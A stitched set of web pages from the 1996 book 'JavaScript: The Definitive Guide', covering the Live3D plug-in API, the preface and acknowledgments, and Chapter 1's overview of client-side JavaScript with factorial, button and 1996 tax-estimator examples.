Previous | Home | Next
LiveAudio | Book Index | Live3D
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix H] H.3 Live3D

JavaScript: The Definitive Guide

Previous Appendix H
LiveConnected Navigator Plug-Ins

H.3 Live3D

The Live3D plug-in displays VRML worlds. In order to use it, you will have to understand VRML technology. The API consists of the following ten methods and two callbacks:

AnimateObject(obj, url)

Animate the object obj using the animation file specified by url. Supported animation formats include VUEformat from Autodesk.

DeleteObject(obj)

Delete the specfied object obj from the scene graph.

GotoViewPoint(viewpoint, frames)

Move the virtual camera to the named viewpoint. Animate the move using the number of frames specified by frames.

HideObject(obj)

Hide the specified object obj.

LoadScene(url, frame)

Load a new scene from the specified url into the specified frame. If frame is null, then the scene is loaded into the current frame.

MorphObject(obj, num_vertices, coordinates, frames, morphtype)

This method morphs the object obj by interpolating its vertices onto those specified by coordinates. The interpolation is animated over the number of frames specified by frames. The morphtype argument specifies what type of morph should be performed. It should be one of "ONCE", "BACKFORTH", or "LOOP".

onAnchorClick()

This is not a method but an event handler. It is invoked when an anchor within the 3D scene is clicked.

onMouseMove()

This event handler is invoked whenver the mouse moves within the Live3D plug-in window.

SetBackgroundImage(url)

This method load the specified url as the background image for the current scene. Various image formats are supported, including PNG, RGB, GIF, JPEG, BMP and RAS.

SetAnchorObject(obj, url)

Sets the "anchor" or hypertext link of the specified object obj to the specified url.

ShowObject(obj)

Makes the specified object obj visible.

SpinObject(obj, pitch, yaw, roll, local)

This method spins the specified object obj. The pitch, yaw, and roll arguments are Boolean values that specify which axes the object should be rotated around. If local is false, then the rotation occurs in world coordinate space; otherwise it occurs around the geometric center of the object.

Previous | Home
LiveVideo | Book Index
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


Preface

Contents:
Conventions Used in This Book
Request for Comments
Finding Examples Online
Acknowledgments

In recent months, the pace of technical innovation has shot through the roof. It's been said that the Internet has turned "man-months" into "web-weeks." It's hard to keep up!

When Netscape released a final version of Navigator 2.0, I imagined that JavaScript would finally be stable, and that the time was ripe for a book documenting it. Soon after I started writing, a beta release of Netscape 3.0 was announced. It seems like I've been playing catch-up ever since. In order to keep up with this rapidly evolving language, we printed a "beta edition" of this book which documented the final beta release of Navigator 3.0.

With the beta edition released, I was able to catch my breath and really document JavaScript the way it needed to be documented. This edition is far superior to the last. It is over one hundred pages longer and contains several new chapters, many practical new examples, far fewer errors, and dramatically improved coverage of cookies, the Image object, LiveConnect, and other topics.

Fortunately (for my sanity), this edition of the book goes to print before the first beta version of Navigator 4.0, a.k.a. Communicator, is released. The word is that there will be a lot of powerful and interesting new JavaScript features in Navigator 4.0, and you can be sure that we'll update this book to cover them when the final version of 4.0 comes out. In the meantime, I hope you'll agree that this book is truly the definitive guide to JavaScript.

Conventions Used in This Book

I use the following formatting conventions in this book:

  • Bold is used for headings in the text, and occasionally to refer to particular keys on a computer keyboard or to portions of user interfaces, such as the Back button or the Options menu.

  • Italics are used for emphasis, and to signify the first use of a term. Italics are also used for email addresses, web sites, FTP sites, file and directory names, and newsgroups. Furthermore, italics are used in this book for the names of Java classes, to help keep Java class names distinct from JavaScript names.

  • Letter Gothic is used in all JavaScript code and HTML text listings, and generally for anything that you would type literally when programming.

  • Letter Gothic Oblique is used for the name of function arguments, and generally as a placeholder to indicate an item that would be replaced with an actual value in your programs. It is also used for comments in Javascript code.

Home | Next
Book Index | Request for Comments
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Request for Comments

JavaScript: The Definitive Guide

Previous Preface Next

Request for Comments

Please help us at O'Reilly to improve future editions by reporting any errors, inaccuracies, bugs, misleading or confusing statements, and plain old typos that you find anywhere in the book. Email your bug reports and comments to us at: bookquestions@ora.com.

Please also let us know what we can do to make the book more useful to you. We take your comments seriously, and will try to incorporate reasonable suggestions into future editions of the book.

You can reach us at:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the US or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (FAX)

Previous | Home | Next
Conventions Used in This Book | Book Index | Finding Examples Online
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Finding Examples Online

JavaScript: The Definitive Guide

Previous Preface Next

Finding Examples Online

The examples used in this book are available via anonymous FTP on O'Reilly's FTP server. They may be found at:

ftp://ftp.ora.com/pub/examples/nutshell/javascript

They are also available on this CD-ROM.

Previous | Home | Next
Request for Comments | Book Index | Acknowledgments
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Acknowledgments

JavaScript: The Definitive Guide

Previous Preface Next

Acknowledgments

Writing this book would not have been nearly as exciting if Brendan Eich and his team at Netscape had not kept adding new features as I wrote! I, and many JavaScript developers, owe Brendan a tremendous debt of gratitude for developing JavaScript, and for taking the time out of his crazy schedule to answer our questions and even solicit our input. Besides patiently answering my many questions, Brendan also read and provided helpful comments on the beta edition of this book.

Nick Thompson and Richard Yaker at Netscape were also very helpful during the development of the book. Nick answered many of my questions about LiveConnect, and took the time to review and comment on a draft of Chapter 19, LiveConnect: JavaScript and Java. Richard found answers for me to many miscellaneous questions, and also provided me with the list of known bugs that are described in Appendix B, Known Bugs. Lynn Rollins, a partner at R&B Communications, and a contractor for Netscape, pointed out errors in the Beta edition of the book and also shared with me some of the less publicized features of JavaScript in Navigator 3.0.

Much of my information about Internet Explorer comes from Shon Katzenberger Ph.D., Larry Sullivan, and Dave C. Mitchell, three of the primary developers of Microsoft's version of JavaScript. Shon and Larry are the Software Design Engineers who developed Microsoft's version of the JavaScript interpreter and Microsoft's version of the JavaScript client-side object model, respectively. Dave was the Test Lead for the project. All three reviewed the Beta edition of the book and provided me a wealth of information about Internet Explorer that was simply lacking before. Dave was particularly helpful in answering my last minute questions about IE's capabilities.

Neil Berkman, a software engineer at Bay Networks in Billerica, MA, as well as Andrew Schulman and Terry Allen at O'Reilly were technical reviewers for the Beta edition. Their comments made that edition (and therefore this one) stronger and more accurate. Andrew was also the editor for the Beta edition of this book, and Frank Willison is editor of the current edition. I am grateful to them both.

David Futato was the production manager for this edition of the book and the last. He coordinated the whole process of production, and for the Beta edition, it was he who worked weekends and nights in order to give me time to squeeze the last few new Beta 6 features in. Chris Reilley produced the figures for the book. Edie Freedman designed the cover, and Nancy Priest and Mary Jane Walsh designed the internal format, which was implemented by Lenny Muellner, with help from Erik Ray. Seth Maislin indexed this book.

Finally, my thanks, as always and for so many reasons, to Christie.

David Flanagan
November 1996

Previous | Home | Next
Finding Examples Online | Book Index | Introduction to JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] Introduction to JavaScript

JavaScript: The Definitive Guide

Previous Chapter 1 Next

1. Introduction to JavaScript

Contents:
Executable Content: JavaScript in a Web Page
JavaScript Myths
What JavaScript Can Do
What JavaScript Can't Do
An Example: Calculating Your Taxes with JavaScript
Flavors and Versions of JavaScript
JavaScript Security
Using the Rest of This Book
Exploring JavaScript

JavaScript is a lightweight interpreted programming language with rudimentary object-oriented capabilities. The general-purpose core of the language has been embedded in Netscape Navigator and other web browsers and embellished for web programming with the addition of objects that represent the web browser window and its contents. This "client-side" version of JavaScript allows "executable content" to be included in web pages--it means that a web page need no longer be static HTML, but can include dynamic programs that interact with the user, control the browser, and dynamically create HTML content.

Syntactically, the core JavaScript language resembles C, C++ and Java, with programming constructs such as the if statement, the while loop, and the && operator. The similarity ends with this syntactic resemblance, however. JavaScript is an untyped language, which means that variables do not have to have a type specified. Objects in JavaScript are more like Perl's associative array than they are like structures in C or objects in C++ or Java. Also, as mentioned, JavaScript is a purely interpreted language, unlike C and C++, which are compiled, and unlike Java, which is compiled to byte-code before being interpreted.

This chapter is a quick overview of JavaScript; it explains what JavaScript can do and also what it can't, and exposes some myths about the language. The chapter demonstrates web programming with some real-world JavaScript examples, explains the many versions of JavaScript, and also addresses security concerns.

1.1 Executable Content: JavaScript in a Web Page

When a web browser is augmented with a JavaScript interpreter, it allows "executable content" to be distributed over the Internet in the form of JavaScript "scripts."[1] Example 1.1 shows a simple JavaScript program, or script, embedded in a web page. When loaded into a JavaScript-enabled browser, it produces the output shown in Figure 1.1.

[1] Currently the only JavaScript-enabled browsers are Netscape Navigator versions 2.0 and 3.0, and Microsoft Internet Explorer version 3.0.

Example 1.1: A Simple JavaScript Program

<HTML>
<BODY>
<SCRIPT LANGUAGE="JavaScript">
document.write("<h2>Table of Factorials</h2>");
for(i = 1, fact = 1; i < 10; i++, fact *= i) {
    document.write(i + "! = " + fact);
    document.write("<br>");
}
</SCRIPT>
</BODY>
</HTML>

Figure 1.1: A web page generated with JavaScript

[Graphic: Figure 1-1]

As you can see in this example, the <SCRIPT> and </SCRIPT> tags are used to embed JavaScript code within an HTML file. We'll learn more about the <SCRIPT> tag in Chapter 10, Client-Side Program Structure. The main feature of JavaScript demonstrated by this example is the use of the document.write() method.[2] This method is used to dynamically output HTML text that will be parsed and displayed by the web browser; we'll encounter it many more times in this book.

[2] "Method" is the object-oriented term for function or procedure; you'll see it used throughout this book.

Besides allowing programmatic control over the content of web pages, as shown in Figure 1.1, JavaScript allows programmatic control over the browser, and also over the content of HTML forms that appear in a web page. We'll learn about these and other capabilities of JavaScript in more detail later in this chapter, and in much more detail later in this book.

Not only can JavaScript control the content of HTML forms, it can also control the behavior of those forms! That is, a JavaScript program might respond in some way when you enter a value in an input field or click on a checkbox in a form. JavaScript can do this by defining "event handlers" for the form--pieces of JavaScript code that are executed when a particular event occurs, such as when the user clicks on a button. Example 1.2 shows the definition of a very simple HTML form that includes an event handler that is executed in response to a button click. Figure 1.2 illustrates the result of clicking the button.

Example 1.2: An HTML Form with a JavaScript Event Handler Defined

<FORM>
<INPUT TYPE="button"
       VALUE="Click here"
       onClick="alert('You clicked the button')">
</FORM>

Figure 1.2: The JavaScript response to an event

[Graphic: Figure 1-2]

The onClick attribute shown in Example 1.2 is an HTML extension added by Netscape specifically for client-side JavaScript. All JavaScript event handlers are defined with HTML attributes like this one. The value of the onClick attribute is a string of JavaScript code to be executed when the user clicks the button. In this case, the onClick event handler calls the alert() function. As you can see in Figure 1.2, this function pops up a dialog box to display the specified message.

The examples above highlight only the simplest features of client-side JavaScript. The real power of JavaScript on the client side is that scripts have access to a hierarchy of objects that are based on the content of the web page. If you treat JavaScript as simply a new programming language, you're missing the whole point. What's exciting about JavaScript is the context that this language is embedded in. The interactions between JavaScript code and the web browser and the browser's contents are what matter most. A script can access an array of all hypertext links in a page, for example, and it can also read and write data from and to each of the elements in each of the forms in a page. In Netscape Navigator 3.0, JavaScript can also manipulate the images in a web page, and communicate with the Java applets and plug-ins on the page. Mastering the use of these client-side "document objects" is the real key to using JavaScript effectively in web pages.

Previous | Home | Next
Acknowledgments | Book Index | JavaScript Myths
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.2 JavaScript Myths

JavaScript: The Definitive Guide

Previous Chapter 1
Introduction to JavaScript 		Next

1.2 JavaScript Myths

JavaScript is a new technology that is rapidly changing. It is not yet well understood and is the subject of a fair bit of misinformation and confusion. Before we proceed any further with our exploration of JavaScript, it is important to debunk some common myths about the language.

JavaScript Is Not Java Simplified

One of the most common misconceptions about JavaScript is that it is a "simplified version" of Java, the programming language from Sun Microsystems. Other than an incomplete syntactic resemblance and the fact that both Java and JavaScript can deliver "executable content" over networks, the two languages are entirely unrelated. The similarity of names is purely a marketing ploy (the language was originally called LiveScript, and its name was changed to JavaScript at the last minute).

JavaScript and Java do, however, make a good team. The two languages have disjoint sets of capabilities. JavaScript can control browser behavior and content but cannot draw graphics or perform networking. Java has no control over the browser as a whole, but can do graphics, networking, and multithreading. In Navigator version 3.0, JavaScript can communicate with the Java interpreter built into the browser and can work with and control any Java applets in a web page. This means that in this version of Navigator, JavaScript really can "script" Java. This new feature is called LiveConnect, and it also allows Java code to invoke JavaScript commands. Chapter 19, LiveConnect: JavaScript and Java describes LiveConnect in detail.

JavaScript Is Not Simple

JavaScript is touted as a "scripting language" instead of a "programming language," the implication being that scripting languages are simpler, that they are programming languages for nonprogrammers. Indeed, JavaScript appears at first glance to be a fairly simple language, perhaps of the same complexity as BASIC. Further experience with JavaScript, however, reveals complexities that are not readily apparent. For example, the use of objects as arguments to functions requires a careful understanding of the difference between passing arguments "by value" and passing arguments "by reference." There are also a number of tricky details to understand about converting data values from one type to another in JavaScript. Even the seemingly simple document.write() method that we saw in Example 1.1 has nonintuitive aspects.

This is not to say that JavaScript is beyond the reach of nonprogrammers. It will be useful to nonprogrammers, but only for limited, cookbook-style tasks. For better or worse, complete mastery of JavaScript requires sophisticated programming skills.[3]

[3] And a good programmer's guide and reference, like the one you are reading!

Previous | Home | Next
Executable Content: JavaScript in a Web Page | Book Index | What JavaScript Can Do
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.3 What JavaScript Can Do

JavaScript: The Definitive Guide

Previous Chapter 1
Introduction to JavaScript 		Next

1.3 What JavaScript Can Do

JavaScript is a relatively general-purpose programming language, and, as such, you can write programs in it to perform arbitrary computations. You can write simple scripts, for example, that compute Fibonacci numbers, or search for primes. In the context of the Web and web browsers, however, these aren't particularly interesting applications of the language. As mentioned earlier, the real power of JavaScript lies in the browser and document-based objects that the language supports. To give you an idea of JavaScript's potential, the following subsections list and explain the important capabilities of JavaScript and of the objects it supports.

Control Document Appearance and Content

The JavaScript Document object, through its write() method that we have already seen, allows you to write arbitrary HTML into a document as the document is being parsed by the browser. For example, this allows you to always include today's date in a document, or to display different text on different platforms, or even perhaps extra text to appear only on those browsers that support JavaScript.

You can also use the Document object to generate documents entirely from scratch. Furthermore, properties of the Document object allow you to specify colors for the document background, the text, and for the hypertext links within it. What this amounts to is the ability to generate dynamic and conditional HTML documents, a technique that works particularly well in multiframe documents. Indeed, in some cases, dynamic generation of frame contents allows a JavaScript program to entirely replace the use of a traditional CGI script.

Control the Browser

Several JavaScript objects allow control over the behavior of the browser. The Window object supports methods to pop up dialog boxes to display simple messages to the user and to get simple input from the user. This object also defines a method to create and open (and close) entirely new browser windows, which can have any specified size and can have any combination of user controls. This allows you, for example, to open up multiple windows to give the user multiple views of your web site. New browser windows are also useful for temporary display of generated HTML, and, when created without the menu bar and other user controls, can serve as dialog boxes for more complex messages or user input.

JavaScript does not define methods that allow you to directly create and manipulate frames within a browser window. However, the ability to dynamically generate HTML allows you to programmatically write the HTML tags that will create any desired frame layout.

JavaScript also allows control over which web pages are displayed in the browser. The Location object allows you to download and display the contents of any URL in any window or frame of the browser. The History object allows you to move forward and back within the user's browsing history, simulating the action of the browser's Forward and Back buttons.

Finally, yet another method of the Window object allows JavaScript to display arbitrary messages to the user in the status line of any browser window.

Interact with Document Content

The JavaScript Document object, and the objects it contains, allow programs to read, and sometimes interact with, portions of the document. It is not possible to read the actual text itself (although this will probably be possible in a future release of JavaScript) but, for example, it is possible to obtain a list of all hypertext links in a document.[4] In Navigator 3.0, it is even possible to use JavaScript to obtain an array of all images and Java applets embedded in a document.

[4] For important security reasons in Navigator 2.0 and 3.0, this is only true when the script reading the list of links (or other information) was loaded from the same web server as the page containing the links. Because of this security restriction, you currently cannot download an arbitrary page off the Web, and have JavaScript return you an array of the hypertext links on that page--i.e., you cannot write a web crawler in JavaScript. See Chapter 20, JavaScript Security, for a full discussion of this restriction and its resolution in a future version of JavaScript.

By far the most important capability for interacting with document contents is provided by the Form object, and by the Form element objects it can contain: the Button, Checkbox, Hidden, Password, Radio, Reset, Select, Submit, Text and Textarea elements. These element objects allow you to read and write the values of any input element in any form in the document. For example, the Internal Revenue Service could create a web page that contains a U.S. 1040EZ income tax return. When the user enters his filing status and gross income, JavaScript code could read the input, compute the appropriate personal exemption and standard deduction, subtract these values from the income, and fill in the result in the appropriate data field of the form. This technique is frequently seen in JavaScript calculator programs, which are common on the Web, and in fact, we'll see a tax calculator example, much like the one described above, a little later on in this chapter.

While HTML forms have traditionally be used only with CGI scripts, JavaScript is much more practical in some circumstances. Calculator programs like those described above are easy to implement with JavaScript, but would be impractical with CGI, because the server would have to be contacted to perform a computation every time the user entered a value or clicked on a button.

Another common use for the ability to read user input from form elements is for verification of a form before it is submitted. If client-side JavaScript is able to perform all necessary error checking of a user's input, then the required CGI script on the server side becomes much simpler, and no round trip to the server is necessary to detect and inform the user of the errors. Client-side JavaScript can also perform preprocessing of input data, which can reduce the amount of data that must be transmitted to the server. In some cases, client-side JavaScript can eliminate the need for CGI scripts on the server altogether! (On the other hand, JavaScript and CGI do work well together. For example, a CGI program can dynamically create JavaScript code "on the fly," just as it dynamically creates HTML.)

Interact with the User

An important feature of JavaScript is the ability to define "event handlers"--arbitrary pieces of code to be executed when a particular event occurs. Usually, these events are initiated by the user, when (for example) she moves the mouse over a hypertext link or enters a value in a form or clicks the Submit button in a form. This event-handling capability is a crucial one, because programming with graphical interfaces, such as HTML forms, inherently requires an event-driven model. JavaScript can trigger any kind of action in response to user events. Typical examples might be to display a special message in the status line when the user positions the mouse over a hypertext link, or to pop up a confirmation dialog box when the user submits an important form.

Read and Write Client State with Cookies

"Cookies" are Netscape's term for small amounts of state data stored permanently or temporarily by the client. They are transmitted back and forth to and from the server and allow a web page or web site to "remember" things about the client--for example, that the user has previously visited the site, or that they have already registered and obtained a password, or that they've expressed preferences about colors or layouts of web pages. Cookies help you provide the state information that is missing from the stateless HTTP protocol of the Web. The "My Yahoo!" site at http://my.yahoo.com/ is an excellent example of the use of cookies to remember a user's preferences.

When cookies were invented, they were intended for use exclusively by CGI scripts, and although stored on the client, they could only be read or written by the server. Their purpose was to allow CGI scripts to generate and send different HTML to the client depending on the value of the cookies. JavaScript changes this. JavaScript programs can read and write cookie values, and as we've noted above, they can dynamically generate HTML based on the value of cookies. The implications of this are subtle. CGI programming will still be an important technique in many cases that use cookies. In some cases, however, JavaScript can entirely replace the need for CGI.

Interact with Applets

In Navigator 3.0, JavaScript can interact with Java applets that are running in the browser. This important feature is part of Netscape's "LiveConnect", a communication layer that allows Java applets, Netscape plug-ins, and JavaScript code talk with and control one another. Using LiveConnect, JavaScript code can read and write properties of, and invoke methods of, Java applets and plug-ins. This capability is tremendously powerful, and truly allows JavaScript to "script" Java.

Manipulate Embedded Images

In Navigator 3.0, JavaScript can change the images displayed by an <IMG> tag. This allows sophisticated effects, such as having an image change when the mouse passes over it or when the user clicks on a button elsewhere in the browser. When Navigator 3.0 was released recently, this capability spawned a burst of creativity on web sites designed for the new browser.

Still More Features

In addition to all of the above, there are quite a few other JavaScript capabilities:

  • As mentioned at the start of this section, JavaScript can perform arbitrary computation. JavaScript has a floating-point data type, arithmetic operators that work with it, and a full complement of the standard floating-point mathematical functions.

  • The JavaScript Date object simplifies the process of computing and working with dates and times.

  • The Document object supports a property that specifies the "last modified" date for the current document. You can use it to automatically display a timestamp on any document.

  • JavaScript has a window.setTimeout() method that allows a block of arbitrary JavaScript code to be executed some number of milliseconds in the future. This is useful for building delays or repetitive actions into a JavaScript program.

  • The Navigator object (named after the web browser, of course) has variables that specify the name and version of the browser that is running, and also has variables that identify the platform it is running on. These variables allow scripts to customize their behavior based on browser or platform in order, for example, to take advantage of extra capabilities supported by some versions or to work around bugs that exist on some platforms.

  • In Navigator 3.0, JavaScript uses the navigator.plugins[] array to specify which "plug-ins" are installed in the browser; JavaScript uses the navigator.mimeTypes[] array to specify which MIME data formats are recognized by the browser.

  • In Navigator 3.0, the scroll() method of the Window object allows JavaScript programs to scroll windows in the X and Y dimensions.

Previous | Home | Next
JavaScript Myths | Book Index | What JavaScript Can't Do
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.4 What JavaScript Can't Do

JavaScript: The Definitive Guide

Previous Chapter 1
Introduction to JavaScript 		Next

1.4 What JavaScript Can't Do

JavaScript has an impressive list of capabilities. Note, however, that they are confined to browser-related and HTML-related tasks. Since JavaScript is used in a limited context, it does not have features that would be required for standalone languages:

  • JavaScript does not have any graphics capabilities, except for the ability to format and display HTML (which, however, does include images, tables, frames, forms, fonts, and other user-interface elements).

  • For security reasons, client-side JavaScript does not allow the reading or writing of files. Obviously, you wouldn't want to allow an untrusted program from any random web site to run on your computer and rearrange your files!

  • JavaScript does not support networking of any kind, except--an important exception!--that it can cause a web browser to download the contents of arbitrary URLs.

  • Finally, JavaScript doesn't have any multithreading capabilities, except whatever comes implicitly from the web browser's internal use of threads.

Previous | Home | Next
What JavaScript Can Do | Book Index | An Example: Calculating Your Taxes with JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.5 An Example: Calculating Your Taxes with JavaScript

JavaScript: The Definitive Guide

Previous Chapter 1
Introduction to JavaScript 		Next

1.5 An Example: Calculating Your Taxes with JavaScript

Example 1.3 is a listing of a complete, non-trivial JavaScript program. The program calculates the estimated U.S. federal income tax you will have to pay for 1996.[5] The program is displayed in Figure 1.3. As you can see, it consists of an HTML form displayed within an HTML table. To use it, you enter your filing status, adjusted gross income, and a couple of other pieces of data. Every time you enter data into the form, JavaScript recomputes all the fields and displays your estimated tax at the bottom.

[5] If you are not a U.S. resident, you won't have to pay, but you should study this example anyway!

Figure 1.3: A JavaScript tax estimator

[Graphic: Figure 1-3]

This example is a fairly complex one, but is worth taking the time to look over. You shouldn't expect to understand all the JavaScript code at this point, but studying the program will give you a good idea of what JavaScript programs look like, how event handlers work, and how JavaScript code can be integrated with HTML forms.

The beginning of the program defines "constructor functions" for two data types we'll use in the tax calculation. These new datatypes are TaxBracket and TaxSchedule. The next portion of the program creates and initializes an array of four TaxSchedule objects, each of which contains five TaxBracket objects. This is the data that the program will use to compute income tax.

Next comes the definition of a function named compute(). This is the function that computes the estimated tax you'll have to pay. It doesn't just perform the computation, however. It also reads the user's input from the form, and stores the result of the tax computation, along with intermediate results in the computation back into the form. The variable f in this function refers to the HTML form, and the various elements of the form are accessed by name. Thus, you'll see expressions like f.income.value to refer to the string that the user entered in the income field. The names for these fields will be assigned when the form is itself defined. Note that this compute() function both reads and writes the value of expressions like f.income.value and f.standard.checked--querying and setting the values displayed in the form. If you follow the comments, and refer occasionally to the reference section (Part III of this book), you may be able to follow the logic behind the tax computation.

After the definition of the compute() function, we reach the end of the JavaScript <SCRIPT>. The rest of the file consists of HTML, but this does not mean that JavaScript is not involved. After some brief instructions to the user, the HTML begins to define the form displayed by the program. The elements of the form are contained within an HTML table which makes things somewhat harder to figure out. Note, though, that every input element defined in the form has a NAME attribute, so that JavaScript can refer to it by name. And note that every input element has an event handler defined. These event handlers all call the compute() function defined earlier in the program. This means that whenever the user enters a value, all values in the form will be recomputed and redisplayed.

Example 1.3: Estimating Your Taxes with JavaScript

<HEAD>
<TITLE>1996 U.S. Federal Income Tax Estimator</TITLE>
<SCRIPT>
// These functions define the data structures we'll use to store
// tax bracket and tax schedule data for computing taxes.
function TaxBracket(cutoff, percentage, base)
{
    this.cutoff = cutoff;          // how much money to be in this bracket
    this.percentage = percentage;  // what the tax is in this bracket
    this.base = base;              // combined tax from all lower brackets
}
function TaxSchedule(b0, b1, b2, b3, b4)
{   // A tax schedule is just 5 brackets
    this[0] = b0; this[1] = b1; this[2] = b2; this[3] = b3; this[4] = b4;
}
// Taxes are computed using a tax schedule that depends on your filing status,
// so we create an array and store four different schedules in it.
var Schedules = new Object();  // create the array.
// Schedule X: Single
Schedules[0] =  new TaxSchedule(new TaxBracket(263750, .396, 84020.5),
    new TaxBracket(121300, .36, 32738.5), new TaxBracket(58150, .31, 13162),
    new TaxBracket(24000, .28, 3600), new TaxBracket(0, .15, 0));
// Schedule Z: Head of Household
Schedules[1] = new TaxSchedule(new TaxBracket(263750, .396, 81554),
    new TaxBracket(134500, .36, 35024), new TaxBracket(83050, .31, 19074.5),
    new TaxBracket(32150, .28, 4822.5), new TaxBracket(0, .15, 0));
// Schedule Y1: Married,  Filing Jointly
Schedules[2] = new TaxSchedule(new TaxBracket(263750, .396, 79445),
    new TaxBracket(147700, .36, 37667), new TaxBracket(96900, .31, 21919),
    new TaxBracket(40100, .28, 6015), new TaxBracket(0, .15, 0));
// Schedule Y2: Married, Filing Separately
Schedules[3] = new TaxSchedule(new TaxBracket(131875, .396, 39722.5),
    new TaxBracket(73850, .36, 18833.5), new TaxBracket(48450, .31, 10959.5),
    new TaxBracket(20050, .28, 3007.5),  new TaxBracket(0, .15, 0));
// The standard deduction allowed by tax law depends on filing status,
// so we've got to store this data in an array as well.
var StandardDeductions = new Object();
StandardDeductions[0] = 4000; StandardDeductions[1] = 5900;
StandardDeductions[2] = 6700; StandardDeductions[3] = 3350;
// This function computes the tax and updates all the elements in the form.
// It is triggered whenever anything changes, and makes sure that
// all elements of the form contain legal values and are consistent.
function compute()
{
    var f = document.taxcalc;  // This is the form we'll we working with.
    // get the filing status
    var status = f.status.selectedIndex;
    // line 1, adjusted gross income
    var income = parseFloat(f.income.value);
    if (isNaN(income)) { income = 0; f.income.value = "0"; }
    f.income.value = Math.round(income);

    // line 2, the standard or itemized deduction
    var deduction;
    if (f.standard.checked)
        deduction = StandardDeductions[status];
    else {
        deduction = parseFloat(f.deduction.value);
        if (isNaN(deduction)) deduction = 0;
        if (deduction < StandardDeductions[status]) {
            deduction = StandardDeductions[status];
            f.standard.checked = true;
        }
    }
    f.deduction.value = Math.round(deduction);
    // Line 3: Subtract line 2 from line 1
    var line3 = income - deduction;
    if (line3 < 0) line3 = 0;
    f.line3.value = line3;
    // Line 4: exemptions
    var num_exemptions = parseInt(f.num_exemptions.value);
    if (isNaN(num_exemptions)) num_exemptions = 1;
    f.num_exemptions.value = num_exemptions;
    var exemption = num_exemptions * 2550;
    f.exemption.value = exemption;
    // Line 5: subtract Line 4 from Line 3.
    var line5 = line3 - exemption;
    if (line5 < 0) line5 = 0;
    f.line5.value = line5;
    // Line 6: tax from schedules.
    // determine which tax schedule to use, based on filing status
    var schedule = Schedules[status];
    // determine which tax bracket to use within that schedule
    for(var i = 0; i < 5; i++) if (line5 >= schedule[i].cutoff) break;
    var bracket = schedule[i];
    // then compute the tax based on that bracket
    var tax = (line5 - bracket.cutoff) * bracket.percentage + bracket.base;
    f.tax.value = Math.round(tax);
}
</SCRIPT>
</HEAD>
<BODY>
<H1>1996 U.S. Federal Income Tax Estimator</H1>
To compute your 1996 U.S. Federal Income Tax, follow the steps in the
table below. You only need to enter the data in the boldface fields.
JavaScript will perform all the necessary computations for you.
<P>
<I>This program is an example only. Computing your actual income tax is
almost always more complicated than this!</I>
<!--
  -- The code below is an HTML table inside of an HTML form. It gets tricky!
  -- Notice the event handlers on all the form input elements.
  -->
<FORM NAME="taxcalc">
  <TABLE BORDER CELLPADDING=3>
    <TR>                                        <!-- Filing status -->
      <TD>&nbsp;</TD>
      <TD COLSPAN=3 BGCOLOR="d0d0d0">
        <B>Select your filing status:</B>
        <SELECT NAME="status" onChange="compute()">
          <OPTION VALUE=0 SELECTED>Single
          <OPTION VALUE=1>Head of Household
          <OPTION VALUE=2>Married, Filing Jointly
          <OPTION VALUE=3>Married, Filing Separately
        </SELECT>
      </TD></TR>
    <TR>                                        <!-- Line 1: Income -->
      <TD>1.</TD>
      <TD BGCOLOR="d0d0d0"><B>Enter your Adjusted Gross Income</B></TD>
      <TD BGCOLOR="d0d0d0">
        <INPUT TYPE=text NAME="income" SIZE=12 onChange="compute()">
      </TD></TR>
    <TR>                                        <!-- Line 2: Deduction -->
      <TD>2.</TD>
      <TD BGCOLOR="d0d0d0">
        <B>Check here
        <INPUT TYPE=checkbox NAME="standard" CHECKED onClick="compute()">
        for the standard deduction,<BR>or enter your Itemized Deduction</B>
      </TD>
      <TD BGCOLOR="d0d0d0">
        <INPUT TYPE=text NAME="deduction" SIZE=12
               onChange="this.form.standard.checked = false; compute()">
      </TD></TR>
    <TR>                                        <!-- Line 3: subtraction -->
      <TD>3.</TD>
      <TD>Subtract Line 2 from Line 1:</TD>
      <TD><INPUT TYPE=text NAME="line3" SIZE=12 onChange="compute()"></TD></TR>
    <TR>                                        <!-- Line 4: Exemption -->
      <TD ROWSPAN=2>4.</TD>
      <TD BGCOLOR="d0d0d0">
        <B>Enter your number of exemptions: </B>
        <INPUT TYPE=text NAME="num_exemptions" SIZE=2 onChange="compute()">
      </TD><TD></TD></TR>
    <TR>                                        <!-- Line 4, continued -->
      <TD>Multiply number of exemptions by $2,550.</TD>
      <TD><INPUT TYPE=text NAME="exemption" SIZE=12 onChange="compute()"></TD>
    </TR>
    <TR>                                        <!-- Line 5: subtraction -->
      <TD>5.</TD>
      <TD>Subtract Line 4 from Line 3.</TD>
      <TD><INPUT TYPE=text NAME="line5" SIZE=12 onChange="compute()"></TD></TR>
    <TR>                                        <!-- Line 6: Tax -->
      <TD>6.</TD>
      <TD>This is your tax, from 1996 tax rate schedules</TD>
      <TD><INPUT TYPE=text NAME="tax" SIZE=12 onChange="compute()"></TD></TR>
  </TABLE>
</FORM>
</BODY>

Previous | Home | Next
What JavaScript Can't Do | Book Index | Flavors and Versions of JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.6 Flavors and Versions of JavaScript

JavaScript: The Definitive Guide

Previous Chapter 1
Introduction to JavaScript 		Next

1.6 Flavors and Versions of JavaScript

